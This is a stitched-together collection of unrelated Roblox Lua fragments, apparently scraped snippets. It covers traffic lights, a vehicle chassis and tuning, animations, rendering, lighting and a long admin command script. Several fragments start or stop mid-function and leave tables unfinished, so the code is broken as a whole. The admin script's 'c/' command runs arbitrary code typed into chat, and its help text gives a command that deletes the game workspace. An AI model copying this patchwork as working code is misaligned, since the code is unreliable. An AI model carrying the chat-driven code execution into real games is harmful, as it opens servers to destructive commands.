SignalValues.Signal1.Value = 3 SignalValues.Signal1a.Value = 3 SignalValues.Signal2.Value = 3 SignalValues.Signal2a.Value = 3 PedValues.PedSignal1.Value = 3 PedValues.PedSignal1a.Value = 3 PedValues.PedSignal2.Value = 3 PedValues.PedSignal2a.Value = 3 TurnValues.TurnSignal1.Value = 3 TurnValues.TurnSignal1a.Value = 3 TurnValues.TurnSignal2.Value = 3 TurnValues.TurnSignal2a.Value = 3 wait(2)-- ALL RED end
-- mainWindow Assets
local sidebar = mainWindow.Sidebar local mainUI = mainWindow.mainUI
-- Local variable defaults
local numLaps = 1 local raceDuration = 60 local debugEnabled = false
--[[ The original model of the command script is at http://www.roblox.com/Item.aspx?ID=5277383 if you get the command script anywhere else it could be infected. -Person299 The commands are, commands Shows a list of all the commands fix If the command script breaks for you, say this to fix it kill/Person299 Kills Person299 loopkill/Person299 Repeatedly kills Person299 when he respawns unloopkill/Person299 Undos loopkill/ heal/Person299 Returns Person299 to full health damage/Person299/50 Makes Person299's character take 50 damage health/Person299/999999 Makes Person299's MaxHealth and Health 999999 kick/Person299 Removes Person299 from the game, cannot be used by admin/ed people ban/Person299 Removes Person299 from the game and keeps him from reenterring, cannot be used by admin/ed people bannedlist Shows a list of everyone banned unban/Person299 Unbans Person299 explode/Person299 Explodes Person299's character rocket/Person299 Straps a rocket onto Person299's back removetools/Person299 Removes all of Person299's tools. givetools/Person299 Gives Person299 all the tools in StarterPack givebtools/Person299 Gives Person299 the building tools sit/Person299 Makes Person299 sit part/4/1/2 Makes a part with the given dimensions appear over your character respawn/Person299 Makes Person299's character respawn jail/Person299 Makes a lil jail cell around Person299's character unjail/Person299 Undos jail/ punish/Person299 Puts Person299's character in game.Lighting unpunish/Person299 Undos punish/ merge/Person299/Farvei Makes Person299 control Farvei's character teleport/Person299/nccvoyager Teleports Person299's character to nccvoyager's character control/Person299 Makes you control Person299's character change/Person299/Money/999999 Makes the Money value in Person299's leaderstats 999999 give/Person299/Tool Give's Person299 a tool, the toolname can be abbreviated tools Gives you a list of all the tools available to be give/en, the tool must be in game.Lighting time/15.30 Makes game.Lighting.TimeOfDay 15:30 ambient/255/0/0 Makes game.Lighting.Ambient 255,0,0 maxplayers/20 Makes game.Players.MaxPlayers 20 nograv/Person299 Makes Person299 almost weightless antigrav/Person299 Gives Person299 antigravity properties grav/Person299 Returns Person299's gravity to normal highgrav/Person299 Makes Person299 heavier setgrav/Person299/-196 Sets Person299's gravity trip/Person299 Makes Person299's character trip walkspeed/Person299/99 Makes Person299's character's humanoid's WalkSpeed 99, 16 is average invisible/Person299 Makes Person299's character invisible visible/Person299 Undos invisible/ freeze/Person299 Makes Person299's character unable to move thaw/Person299 Undos freeze/ unlock/Person299 Makes Person299's character unlocked lock/Person299 Makes Person299's character locked ff/Person299 Gives Person299's character a ForceField unff/Person299 Undos ff/ sparkles/Person299 Makes Person299's character sparkly unsparkles/Person299 Undos sparkles/ shield/Person299 Makes a destructive shield thingy appear around Person299 unshield/Person299 Undos shield/ god/Person299 Makes Person299 godish ungod/Person299 Undos god/ zombify/Person299 Makes Person299 an infecting zombie admin/Person299 Makes Person299 able to use the command script, cannot be used by admin/ed people adminlist Shows a list of everyone in the adminlist unadmin/Person299 Undos admin/, cannot be used by admin/ed people shutdown Shuts the server down, cannot be used by admin/ed people m/Fallout 2 is one of the best games ever made Makes a message appear on the screen saying "Fallout 2 is one of the best games ever made" for 2 seconds h/i like pie Makes a hint appear on the screen saying "i like pie" for 2 seconds c/ game.Workspace:remove() Makes a script which source is what's after c/ clear Removes all scripts created by c/ and removes all jails. Capitalisation doesnt matter, and name input can be abbreviated. Just about any name input can be replaced with multiple names seperated by commas, me, all, others, guests, admins, nonadmins, random, or team teamname. --]]
texture = "" namelist = { } variablelist = { } flist = { } local source = script:FindFirstChild("sourcing") if source ~= nil then sbbu = script.sourcing:clone() sbbu.Disabled = false else print("sourcing script doesnt exist, your command script may malfunction") end tools = Instance.new("Model") c = game.Lighting:GetChildren() for i=1,#c do if c[i].className == "Tool" then c[i]:clone().Parent = tools end if c[i].className == "HopperBin" then c[i]:clone().Parent = tools end end function findplayer(name,speaker) if string.lower(name) == "all" then local chars = { } local c = game.Players:GetChildren() for i =1,#c do if c[i].className == "Player" then table.insert(chars,c[i]) end end return chars elseif string.sub(string.lower(name),1,9) == "nonadmins" then local nnum = 0 local chars = { } local c = game.Players:GetChildren() for i=1,#c do local isadmin = false for i2 =1,#namelist do if namelist[i2] == c[i].Name then isadmin = true end end if isadmin == false then nnum = nnum + 1 table.insert(chars,c[i]) end end if nnum == 0 then return 0 else return chars end elseif string.sub(string.lower(name),1,6) == "admins" then local anum = 0 local chars = { } local c = game.Players:GetChildren() for i=1,#c do for i2 =1,#namelist do if namelist[i2] == c[i].Name then anum = anum + 1 table.insert(chars,c[i]) end end end if anum == 0 then return 0 else return chars end elseif string.sub(string.lower(name),1,6) == "random" then while true do local c = game.Players:GetChildren() local r = math.random(1,#c) if c[r].className == "Player" then return { c[r] } end end elseif string.sub(string.lower(name),1,6) == "guests" then local gnum = 0 local chars = { } local c = game.Players:GetChildren() for i=1,#c do if string.sub(c[i].Name,1,5) == "Guest" then gnum = gnum + 1 table.insert(chars,c[i]) end end if gnum == 0 then return 0 else return chars end elseif string.sub(string.lower(name),1,5) == "team " then local theteam = nil local tnum = 0 if game.Teams ~= nil then local c = game.Teams:GetChildren() for i =1,#c do if c[i].className == "Team" then if string.find(string.lower(c[i].Name),string.sub(string.lower(name),6)) == 1 then theteam = c[i] tnum = tnum + 1 end end end if tnum == 1 then local chars = { } local c = game.Players:GetChildren() for i =1,#c do if c[i].className == "Player" then if c[i].TeamColor == theteam.TeamColor then table.insert(chars,c[i]) end end end return chars end end return 0 elseif string.lower(name) == "me" then local person299 = { speaker } return person299 elseif string.lower(name) == "others" then local chars = { } local c = game.Players:GetChildren() for i =1,#c do if c[i].className == "Player" then if c[i] ~= speaker then table.insert(chars,c[i]) end end end return chars else local chars = { } local commalist = { } local ssn = 0 local lownum = 1 local highestnum = 1 local foundone = false while true do ssn = ssn + 1 if string.sub(name,ssn,ssn) == "" then table.insert(commalist,lownum) table.insert(commalist,ssn - 1) highestnum = ssn - 1 break end if string.sub(name,ssn,ssn) == "," then foundone = true table.insert(commalist,lownum) table.insert(commalist,ssn) lownum = ssn + 1 end end if foundone == true then for ack=1,#commalist,2 do local cnum = 0 local char = nil local c = game.Players:GetChildren() for i =1,#c do if c[i].className == "Player" then if string.find(string.lower(c[i].Name),string.sub(string.lower(name),commalist[ack],commalist[ack + 1] - 1)) == 1 then char = c[i] cnum = cnum + 1 end end end if cnum == 1 then table.insert(chars,char) end end if #chars ~= 0 then return chars else return 0 end else local cnum = 0 local char = nil local c = game.Players:GetChildren() for i =1,#c do if c[i].className == "Player" then if string.find(string.lower(c[i].Name),string.lower(name)) == 1 then char = {c[i]} cnum = cnum + 1 end end end if cnum == 1 then return char elseif cnum == 0 then text("That name is not found.",1,"Message",speaker) return 0 elseif cnum > 1 then text("That name is ambiguous.",1,"Message",speaker) return 0 end end end end -- I really like the way the ends look when they're all on the same line better, dont you? function createscript(source,par) local a = sbbu:clone() local context = Instance.new("StringValue") context.Name = "Context" context.Value = source context.Parent = a while context.Value ~= source do wait() end a.Parent = par local b = Instance.new("IntValue") b.Name = "Is A Created Script" b.Parent = a end function text(message,duration,type,object) local m = Instance.new(type) m.Text = message m.Parent = object wait(duration) if m.Parent ~= nil then m:remove() end end function foc(msg,speaker) if string.lower(msg) == "fix" then for i =1,#namelist do if namelist[i] == speaker.Name then variablelist[i]:disconnect() table.remove(variablelist,i) table.remove(namelist,i) table.remove(flist,i) end end local tfv = speaker.Chatted:connect(function(msg) oc(msg,speaker) end) table.insert(namelist,speaker.Name) table.insert(variablelist,tfv) local tfv = speaker.Chatted:connect(function(msg) foc(msg,speaker) end) table.insert(flist,tfv) end end function PERSON299(name) for i =1,#adminlist do if adminlist[i] == name then return true end end return false end function oc(msg,speaker) if string.sub(string.lower(msg),1,5) == "kill/" then--This part checks if the first part of the message is kill/ local player = findplayer(string.sub(msg,6),speaker)--This part refers to the findplayer function for a list of people associated with the input after kill/ if player ~= 0 then--This part makes sure that the findplayer function found someone, as it returns 0 when it hasnt for i = 1,#player do--This part makes a loop, each different loop going through each player findplayer returned if player[i].Character ~= nil then--This part makes sure that the loop's current player's character exists local human = player[i].Character:FindFirstChild("Humanoid")--This part looks for the Humanoid in the character if human ~= nil then--This part makes sure the line above found a humanoid human.Health = 0--This part makes the humanoid's health 0 end end end end end--This line contains the ends for all the if statements and the for loop if string.sub(string.lower(msg),1,2) == "m/" then text(speaker.Name .. ": " .. string.sub(msg,3),2,"Message",game.Workspace) end if string.sub(string.lower(msg),1,2) == "h/" then text(speaker.Name .. ": " .. string.sub(msg,3),2,"Hint",game.Workspace) end if string.sub(string.lower(msg),1,2) == "c/" then--Dontcha wish pcall was more reliable? createscript(string.sub(msg,3),game.Workspace) end local msg = string.lower(msg) if string.sub(msg,1,5) == "give/" then local danumber1 = nil for i = 6,100 do if string.sub(msg,i,i) == "/" then danumber1 = i break elseif string.sub(msg,i,i) == "" then break end end if danumber1 == nil then return end local it = nil local all = true if string.sub(string.lower(msg),danumber1 + 1,danumber1 + 4) ~= "all" then all = false local itnum = 0 local c = tools:GetChildren() for i2 = 1,#c do if string.find(string.lower(c[i2].Name),string.sub(string.lower(msg),danumber1 + 1)) == 1 then it = c[i2] itnum = itnum + 1 end end if itnum ~= 1 then return end else all = true end local player = findplayer(string.sub(msg,6,danumber1 - 1),speaker) if player ~= 0 then for i = 1,#player do local bp = player[i]:FindFirstChild("Backpack") if bp ~= nil then if all == false then it:clone().Parent = bp else local c = tools:GetChildren() for i2 = 1,#c do c[i2]:clone().Parent = bp end end end end end end
--Credits to Brutez for rewriting this script. I edited it for R15 Compatibility. --This is from JTK.
function waitForChild(parent, childName) local child = parent:FindFirstChild(childName) if child then return child end while true do child = parent.ChildAdded:Wait() if child.Name==childName then return child end end end local Figure = script.Parent local Humanoid; for _,Child in pairs(Figure:GetChildren())do if Child and Child.ClassName=="Humanoid"then Humanoid=Child; end; end; local pose = "Standing" local currentAnim = "" local currentAnimInstance = nil local currentAnimTrack = nil local currentAnimKeyframeHandler = nil local currentAnimSpeed = 1.0 local animTable = {} local animNames = { idle = { { id = "http://www.roblox.com/asset/?id=180435571", weight = 9 }, { id = "http://www.roblox.com/asset/?id=180435792", weight = 1 } }, walk = { { id = "http://www.roblox.com/asset/?id=180426354", weight = 10 } }, run = { { id = "http://www.roblox.com/asset/?id=252557606", weight = 20 } }, jump = { { id = "http://www.roblox.com/asset/?id=125750702", weight = 10 } }, fall = { { id = "http://www.roblox.com/asset/?id=180436148", weight = 10 } }, climb = { { id = "http://www.roblox.com/asset/?id=180436334", weight = 10 } }, sit = { { id = "http://www.roblox.com/asset/?id=178130996", weight = 10 } }, toolnone = { { id = "http://www.roblox.com/asset/?id=182393478", weight = 10 } }, toolslash = { { id = "http://www.roblox.com/asset/?id=129967390", weight = 10 }
-- print("Module Being Initialized")
arraySoFar[obj.Name] = loadModule(obj) end end return arraySoFar end _G.Services = {} _G.Modules = {} _G.Shared = {} _G.Remotes = {} for _, obj in pairs(Remotes:GetChildren()) do if (obj:IsA("RemoteEvent")) then _G.Remotes[obj.Name] = obj end end loadModules(ServerModules.Services, _G.Services) loadModules(ServerModules.Modules, _G.Modules) loadModules(SharedModules, _G.Shared) for _, module in pairs(_G.Services) do if (module.Start) then _G.Shared.Thread.SpawnNow(function() module.Start() end) end end
-- Module Functions --
local Chassis = {} Chassis.driverSeat = root:WaitForChild("VehicleSeat") print("ran chassis module") function Chassis.InitializeSeats() driverSeat = root:WaitForChild("VehicleSeat") passengerSeats = { root:FindFirstChild("SeatFR"), root:FindFirstChild("SeatRL"), root:FindFirstChild("SeatRR") } local wheelRadius = root.SuspensionFL.WheelFrontLeft.Size.y/2 driverSeat.MaxSpeed = maxSpeed * wheelRadius end function Chassis.InitializeDriving() print("initializing chassis driving") local constraints = root:WaitForChild("Constraints") local effects = root:WaitForChild("Effects") local scripts = root:WaitForChild("Scripts") -- Constraint tables always ordered FL, FR, RL, RR motors = { constraints:WaitForChild("MotorFL"), constraints:WaitForChild("MotorFR"), constraints:WaitForChild("MotorRL"), constraints:WaitForChild("MotorRR") } local strutSprings = { constraints:WaitForChild("StrutSpringFL"), constraints:WaitForChild("StrutSpringFR"), constraints:WaitForChild("StrutSpringRL"), constraints:WaitForChild("StrutSpringRR") } local torsionSprings = { constraints:WaitForChild("TorsionBarSpringFL"), constraints:WaitForChild("TorsionBarSpringFR"), constraints:WaitForChild("TorsionBarSpringRL"), constraints:WaitForChild("TorsionBarSpringRR") } redressMount = root:WaitForChild("RedressMount") steeringPrismatic = constraints:WaitForChild("SteeringPrismatic") steerMax = steeringPrismatic.UpperLimit setMotorTorque(100000) for _,s in pairs(strutSprings) do --s.Stiffness = springStiffness -- s.Damping = springDamping end for _,s in pairs(torsionSprings) do --adjustStrutSpring(s, gravityChange) end print("finished initializing chassis driving") end function Chassis.GetDriverSeat() if not driverSeat then warn("driverSeat uninitialized") end return driverSeat end function Chassis.GetPassengerSeats() if not passengerSeats then warn("passengerSeats uninitialized") end return passengerSeats end function Chassis.SetMotorVelocity(vel) for _,m in pairs(motors) do m.AngularVelocity = vel end end function Chassis.GetAverageVelocity() local t = 0 for _,m in pairs(motors) do t = t + getMotorVelocity(m) end return t * (1/#motors) end function Chassis.EnableHandbrake() motors[3].AngularVelocity = 0 motors[4].AngularVelocity = 0 motors[3].MotorMaxTorque = breakingTorque motors[4].MotorMaxTorque = breakingTorque end function Chassis.UpdateSteering(steer, currentVel) local c = 0.2*(math.abs(currentVel)/maxSpeed)+1 --decrease steer value as speed increases to prevent tipping (handbrake cancels this) steer = steer/c print(steer) steeringPrismatic.TargetPosition = steer * steer * steer * steerMax end function Chassis.UpdateThrottle(currentVel, throttle) local targetVel = 0 local motorTorque = 0 if math.abs( throttle ) < 0.1 then -- Idling motorTorque = 100 setMotorTorque( motorTorque ) elseif math.abs(throttle * currentVel) > 0 then motorTorque = torque * throttle * throttle setMotorTorqueDamped( motorTorque ) -- Arbitrary large number targetVel = math.sign( throttle ) * 10000 else -- Breaking motorTorque = breakingTorque * throttle * throttle setMotorTorque( motorTorque ) end Chassis.SetMotorVelocity( targetVel ) end local redressingState = false function Chassis.Redress() if redressingState then return end redressingState = true local p = driverSeat.CFrame.Position + Vector3.new( 0,10,0 ) local xc = driverSeat.CFrame.RightVector xc = Vector3.new(xc.x,0,xc.z) xc = xc.Unit local yc = Vector3.new(0,1,0) local zc = xc:Cross( yc ) local cf = CFrame.new( p.x,p.y,p.z, xc.x,yc.x,zc.x, xc.y,yc.y,zc.y, xc.z,yc.z,zc.z ) local targetAttachment = redressMount.RedressTarget targetAttachment.Parent = workspace.Terrain targetAttachment.Position = p targetAttachment.Axis = xc targetAttachment.SecondaryAxis = yc redressMount.RedressOrientation.Enabled = true redressMount.RedressPosition.Enabled = true wait(1.5) redressMount.RedressOrientation.Enabled = false redressMount.RedressPosition.Enabled = false targetAttachment.Parent = redressMount wait(2) redressingState = false end return Chassis
-- Exclude counting autoremoving items (thumbnail and autoupdating script)
local AutoremovingItemsCount = 5 + 1;
-------------------- -- Mesh Settings: -- [If you want a mesh drop, set meshDrop to true up on top.] -- Look at the mesh properties and change the inside of the quotes below to the appropriate -- full link or the rbxasset:// style, doesnt matter which one you see in the mesh you want
meshID = "rbxasset://fonts/PaintballGun.mesh" textureID = "rbxasset://textures/PaintballGunTex128.png"
--[=[ @class PermissionLevelUtils ]=]
local require = require(script.Parent.loader).load(script) local PermissionLevel = require("PermissionLevel") local PermissionLevelUtils = {} local ALLOWED = {} for _, item in pairs(PermissionLevel) do ALLOWED[item] = true end function PermissionLevelUtils.isPermissionLevel(permissionLevel) return ALLOWED[permissionLevel] end return PermissionLevelUtils
-- 1 refers to the cart ID in situations where there is more than one cart
local cart = Cart.new(game.Workspace.Cart, 1) GameStartEvent.Event:Connect(function() cart:start() while wait(0.15) and isGameActive.Value do cart:onUpdate() end end) GameOverEvent.Event:Connect(function() cart:stop() end)
--[=[ Formats the resulting entry by args. @param key string @param args table? @return Promise<string> ]=]
function JSONTranslator:PromiseFormatByKey(key, args) assert(self ~= JSONTranslator, "Construct a new version of this class to use it") assert(type(key) == "string", "Key must be a string") return self._promiseTranslator:Then(function() return self:FormatByKey(key, args) end) end
-- Public
function ViewportWindow:AddSkybox(skybox) self.skyboxFrame:ClearAllChildren() local model = Instance.new("Model") local side = Instance.new("Part") side.Anchored = true side.CanCollide = false side.CanTouch = false side.Transparency = 1 side.Size = Vector3.new(1, 1, 1) local mesh = Instance.new("BlockMesh") mesh.Scale = Vector3.new(10000, 10000, 10000) mesh.Parent = side local top = side:Clone() local bottom = side:Clone() for property, enum in pairs(SIDES) do local decal = Instance.new("Decal") decal.Texture = skybox[property] decal.Face = enum decal.Parent = side end local decalTop = Instance.new("Decal") decalTop.Texture = skybox.SkyboxUp decalTop.Face = Enum.NormalId.Top decalTop.Parent = top local decalBottom = Instance.new("Decal") decalBottom.Texture = skybox.SkyboxDn decalBottom.Face = Enum.NormalId.Bottom decalBottom.Parent = bottom side.CFrame = SIDE_CFRAME top.CFrame = TOP_CFRAME bottom.CFrame = BOTTOM_CFRAME side.Parent = model top.Parent = model bottom.Parent = model model.Name = "SkyboxModel" model.Parent = self.skyboxFrame end function ViewportWindow:GetWorldFrame() return self.worldFrame end function ViewportWindow:GetWorldRoot() return self.worldRoot end function ViewportWindow:GetPart() return self.surfaceGui.Adornee end function ViewportWindow:GetSurface() local part = self.surfaceGui.Adornee local v = -Vector3.FromNormalId(self.surfaceGui.Face) local u = Vector3.new(v.y, math.abs(v.x + v.z), 0) local lcf = CFrame.fromMatrix(Vector3.new(), u:Cross(v), u, v) local cf = part.CFrame * CFrame.new(-v * part.Size/2) * lcf return cf, Vector3.new( math.abs(lcf.XVector:Dot(part.Size)), math.abs(lcf.YVector:Dot(part.Size)), math.abs(lcf.ZVector:Dot(part.Size)) ) end function ViewportWindow:Render(cameraCFrame, surfaceCFrame, surfaceSize) local camera = workspace.CurrentCamera cameraCFrame = cameraCFrame or camera.CFrame if not (surfaceCFrame and surfaceSize) then surfaceCFrame, surfaceSize = self:GetSurface() end if surfaceCFrame:PointToObjectSpace(cameraCFrame.Position).Z > 0 then return end local xCross = surfaceCFrame.YVector:Cross(cameraCFrame.ZVector) local xVector = xCross:Dot(xCross) > 0 and xCross.Unit or cameraCFrame.XVector local levelCameraCFrame = CFrame.fromMatrix(cameraCFrame.Position, xVector, surfaceCFrame.YVector) local tc = surfaceCFrame * Vector3.new(0, surfaceSize.y/2, 0) local bc = surfaceCFrame * Vector3.new(0, -surfaceSize.y/2, 0) local cstc = levelCameraCFrame:PointToObjectSpace(tc) local csbc = levelCameraCFrame:PointToObjectSpace(bc) local tv = (cstc * VEC_YZ).Unit local bv = (csbc * VEC_YZ).Unit local alpha = math.sign(tv.y) * math.acos(-tv.z) local beta = math.sign(bv.y) * math.acos(-bv.z) local fovH = 2 * math.tan(math.rad(camera.FieldOfView / 2)) local surfaceFovH = math.tan(alpha) - math.tan(beta) local fovRatio = surfaceFovH / fovH local dv = surfaceCFrame:VectorToObjectSpace(surfaceCFrame.Position - cameraCFrame.Position) local dvXZ = (dv * VEC_XZ).Unit local dvXY = dv * VEC_YZ local dvx = -dvXZ.z local camXZ = (surfaceCFrame:VectorToObjectSpace(cameraCFrame.LookVector) * VEC_XZ).Unit local scale = camXZ:Dot(dvXZ) / dvx local tanArcCos = math.sqrt(1 - dvx*dvx) / dvx local w, h = 1, 1 if self.surfaceGui.SizingMode == Enum.SurfaceGuiSizingMode.FixedSize then h = surfaceSize.x / surfaceSize.y end local dx = math.sign(dv.x*dv.z) * tanArcCos local dy = dvXY.y / dvXY.z * h local d = math.abs(scale * fovRatio * h) local newCFrame = (surfaceCFrame - surfaceCFrame.Position) * Y_SPIN * CFrame.new(0, 0, 0, w, 0, 0, 0, h, 0, dx, dy, d) local max = 0 local components = {newCFrame:GetComponents()} for i = 1, #components do max = math.max(max, math.abs(components[i])) end for i = 1, #components do components[i] = components[i] / max end local scaledCFrame = CFrame.new(unpack(components)) + cameraCFrame.Position self.camera.FieldOfView = camera.FieldOfView self.camera.CFrame = scaledCFrame -- this eats performance! -- self:_refreshVisibility(cameraCFrame, surfaceCFrame, surfaceSize, 0.001) end
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if script.Parent:FindFirstChild("Chest") then local g = script.Parent.Chest:Clone() g.Parent = File for _,i in pairs(g:GetChildren()) do if i:IsA("Part") or i:IsA("UnionOperation") or i:IsA("MeshPart") then i.CanCollide = false i.Anchored = false local Y = Instance.new("Weld") Y.Part0 = Player.Character.Torso Y.Part1 = g.Middle Y.C0 = CFrame.new(0, 0, 0) Y.Parent = Player.Character.Torso end end end
--[[Engine]]
--Torque Curve Tune.Horsepower = 950 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 950 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 7500 -- Use sliders to manipulate values Tune.Redline = 9400 Tune.EqPoint = 9400 Tune.PeakSharpness = 9.4 Tune.CurveMult = 0.13 --Incline Compensation Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
-- Called when character is added
function Poppercam:CharacterAdded(character, player) end
--------------------------- --[[ --Main anchor point is the DriveSeat <car.DriveSeat> Usage: MakeWeld(Part1,Part2,WeldType*,MotorVelocity**) *default is "Weld" **Applies to Motor welds only ModelWeld(Model,MainPart) Example: MakeWeld(car.DriveSeat,misc.PassengerSeat) MakeWeld(car.DriveSeat,misc.SteeringWheel,"Motor",.2) ModelWeld(car.DriveSeat,misc.Door) ]] --Weld stuff here
MakeWeld(car.Misc.FrontDoor.base,car.DriveSeat) MakeWeld(car.Misc.FrontDoor.H1.Dr_1,car.Misc.FrontDoor.H1.part1) MakeWeld(car.Misc.FrontDoor.H1.Dr_2,car.Misc.FrontDoor.H1.part1) MakeWeld(car.Misc.FrontDoor.H1.To,car.Misc.FrontDoor.H1.part1) MakeWeld(car.Misc.FrontDoor.H1.H2.Dr_1,car.Misc.FrontDoor.H1.H2.part1) MakeWeld(car.Misc.FrontDoor.H1.H2.Dr_2,car.Misc.FrontDoor.H1.H2.part1) MakeWeld(car.Misc.FrontDoor.H1.H2.Bar_B,car.Misc.FrontDoor.H1.H2.part1) MakeWeld(car.Misc.FrontDoor.H1.H2.Bar_C,car.Misc.FrontDoor.H1.H2.part1) MakeWeld(car.Misc.FrontDoor.Lever.A,car.Misc.FrontDoor.Lever.part1) MakeWeld(car.Misc.FrontDoor.H1.part0,car.Misc.FrontDoor.H1.part1,"Motor",.015).Name="Motor" MakeWeld(car.Misc.FrontDoor.H1.H2.part0,car.Misc.FrontDoor.H1.H2.part1,"Motor",.03).Name="Motor" MakeWeld(car.Misc.FrontDoor.Lever.part0,car.Misc.FrontDoor.Lever.part1,"Motor",.04).Name="Motor" MakeWeld(car.Misc.FrontDoor.H1.part0,car.Misc.FrontDoor.base) MakeWeld(car.Misc.FrontDoor.Lever.part0,car.Misc.FrontDoor.base) MakeWeld(car.Misc.FrontDoor.H1.H2.part0,car.Misc.FrontDoor.H1.To)
--////////////////////////////// Include --//////////////////////////////////////
local Chat = game:GetService("Chat") local clientChatModules = Chat:WaitForChild("ClientChatModules") local modulesFolder = script.Parent local ChatSettings = require(clientChatModules:WaitForChild("ChatSettings")) local CurveUtil = require(modulesFolder:WaitForChild("CurveUtil")) local commandModules = clientChatModules:WaitForChild("CommandModules") local WhisperModule = require(commandModules:WaitForChild("Whisper")) local MessageSender = require(modulesFolder:WaitForChild("MessageSender")) local ChatLocalization = nil pcall(function() ChatLocalization = require(game:GetService("Chat").ClientChatModules.ChatLocalization :: any) end) if ChatLocalization == nil then ChatLocalization = {} function ChatLocalization:Get(key,default) return default end end
--[[Susupension]]
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled --Front Suspension Tune.FSusDamping = 500 -- Spring Dampening Tune.FSusStiffness = 9000 -- Spring Force Tune.FSusLength = 2 -- Suspension length (in studs) Tune.FSusMaxExt = .3 -- Max Extension Travel (in studs) Tune.FSusMaxComp = .3 -- Max Compression Travel (in studs) Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.FWsBoneLen = 5 -- Wishbone Length Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Rear Suspension Tune.RSusDamping = 500 -- Spring Dampening Tune.RSusStiffness = 9000 -- Spring Force Tune.RSusLength = 2 -- Suspension length (in studs) Tune.RSusMaxExt = .3 -- Max Extension Travel (in studs) Tune.RSusMaxComp = .3 -- Max Compression Travel (in studs) Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.RWsBoneLen = 5 -- Wishbone Length Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Aesthetics Tune.SusVisible = false -- Spring Visible Tune.WsBVisible = false -- Wishbone Visible Tune.SusRadius = .2 -- Suspension Coil Radius Tune.SusThickness = .1 -- Suspension Coil Thickness Tune.SusColor = "Really black" -- Suspension Color [BrickColor] Tune.SusCoilCount = 6 -- Suspension Coil Count Tune.WsColor = "Black" -- Wishbone Color [BrickColor] Tune.WsThickness = .1 -- Wishbone Rod Thickness
-- Module for converting player to and from a speeder
local ReplicatedModuleScripts = ReplicatedStorage:FindFirstChild("ModuleScripts") local PlayerConverter = require(ReplicatedModuleScripts:FindFirstChild("PlayerConverter"))
--//Controller//--
RunService.RenderStepped:Connect(function() end)
-- Warm water
faucet.WarmWaterSet.Interactive.ClickDetector.MouseClick:Connect(function() faucet.Handle:SetPrimaryPartCFrame(faucet.HandleBase.CFrame * CFrame.Angles(math.rad(-90),0,0)) p.HotOn.Value = true p.ColdOn.Value = true end)
--//# Lighting Setup
function SetupLighting_() local ColorCorrection = Instance.new("ColorCorrectionEffect") local SunRays = Instance.new("SunRaysEffect") local Blur = Instance.new("BlurEffect") local Sky = Instance.new("Sky") local Atmosphere = Instance.new("Atmosphere") local Clouds = Instance.new("Clouds") --// Remove all post effects. for index, item in pairs(Lighting:GetChildren()) do if item:IsA("PostEffect") then item:Destroy() elseif item:IsA("Sky") or item:IsA("Atmosphere") then item:Destroy() end end --//# Set Lighting.Brightness = 1 Lighting.EnvironmentDiffuseScale = .2 Lighting.EnvironmentSpecularScale = .82 SunRays.Parent = Lighting Atmosphere.Parent = Lighting Sky.Parent = Lighting Blur.Size = 3.921 Blur.Parent = Lighting ColorCorrection.Parent = Lighting ColorCorrection.Saturation = .092 Clouds.Parent = TerrainService Clouds.Cover = .4; end
--Reset First
LeftHip.C1 = CFrame.new(3,0,0) RightHip.C1 = CFrame.new(-3,0,0) print("Completed") while true do LeftHip.C1 = CFrame.new(3,0,0-5) RightHip.C1 = CFrame.new(-3,0,0+5) for i = 1,10 do LeftHip.C1 = LeftHip.C1 * CFrame.new(0,0.5,0.5) RightHip.C1 = RightHip.C1 * CFrame.new(0,-0.5,-0.5) --sp.Parent.Waist.CFrame = sp.Parent.Waist.CFrame * CFrame.new(0,0.5,0) --sp.Parent.Waist.RotVelocity = sp.Parent.Waist.RotVelocity * Vector3.new(1,0,1) wait() end for i = 1,10 do LeftHip.C1 = LeftHip.C1 * CFrame.new(0,-0.5,0.5) RightHip.C1 = RightHip.C1 * CFrame.new(0,0.5,-0.5) --sp.Parent.Waist.CFrame = sp.Parent.Waist.CFrame * CFrame.new(0,-0.5,0) --sp.Parent.Waist.RotVelocity = sp.Parent.Waist.RotVelocity * Vector3.new(1,0,1) wait() end sp.Parent.Torso["Footstep"..math.random(1,3)]:Play() for i = 1,10 do LeftHip.C1 = LeftHip.C1 * CFrame.new(0,-0.5,-0.5) RightHip.C1 = RightHip.C1 * CFrame.new(0,0.5,0.5) --sp.Parent.Waist.CFrame = sp.Parent.Waist.CFrame * CFrame.new(0,0.5,0) --sp.Parent.Waist.RotVelocity = sp.Parent.Waist.RotVelocity * Vector3.new(1,0,1) wait() end for i = 1,10 do LeftHip.C1 = LeftHip.C1 * CFrame.new(0,0.5,-0.5) RightHip.C1 = RightHip.C1 * CFrame.new(0,-0.5,0.5) --sp.Parent.Waist.CFrame = sp.Parent.Waist.CFrame * CFrame.new(0,-0.5,0) --sp.Parent.Waist.RotVelocity = sp.Parent.Waist.RotVelocity * Vector3.new(1,0,1) wait() end sp.Parent.Torso["Footstep"..math.random(1,3)]:Play() end
